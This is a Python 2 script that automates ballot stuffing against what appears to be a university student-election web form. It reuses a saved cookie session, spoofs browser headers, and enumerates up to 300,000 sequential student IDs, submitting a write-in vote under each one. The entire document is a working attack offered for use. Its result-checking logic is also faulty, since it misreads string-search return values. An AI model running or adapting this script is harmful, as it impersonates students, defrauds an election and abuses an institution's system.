import urllib, urllib2 import ClientCookie ## http://wwwsearch.sourceforge.net/ClientCookie/ import string import os print "Building cookies.." ##cookies cookies = ClientCookie.MozillaCookieJar() cookies.load("Your Cookies Location Here") site = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookies)) site.addheaders = [("Host", "www.school.edu"), ("User-agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13"), ("Accept", "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"), ("Accept-Language", "en-us,en;q=0."), ("Accept-Encoding", "gzip,deflate"), ("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7"), ("Keep-Alive", "300"), ("Connection", "keep-alive"), ("Referer", "http://www.school.edu/link/bin/uiscgi_studentelections.pl/uismpl?ModuleName=su_vote.pl")] print "Starting scan.." for i in range(1,300000): v=0 StudentId = 64872922 + i ##seed wherever StudentId = "U" + str(StudentId) data = urllib.urlencode({"ModuleName" : "proc_vote.pl", "StudentName" : "JOHNNYTHUNDERS", "StudentId" : StudentId, "SUP" : "Other", "WriteInVoteSUP": "Richard Jones", "SUV" : "Other", "WriteInVoteSUV" : "Infosecurity", "x" : "93", "y": "37"}) f = site.open("http://www.school.edu/link/bin/uiscgi_studentelections.pl/uismpl?ModuleName=su_vote.pl", data) s = f.read() if not (s.find("NOT ELIGIBLE") or s.find("ALREADY VOTED")): print "Victory!" v = v + 1 else: if (i%100 == 0): ##just to check it's connecting alright print s else: print str(StudentId) + str(v) ##delete to speed up a bit print "Done."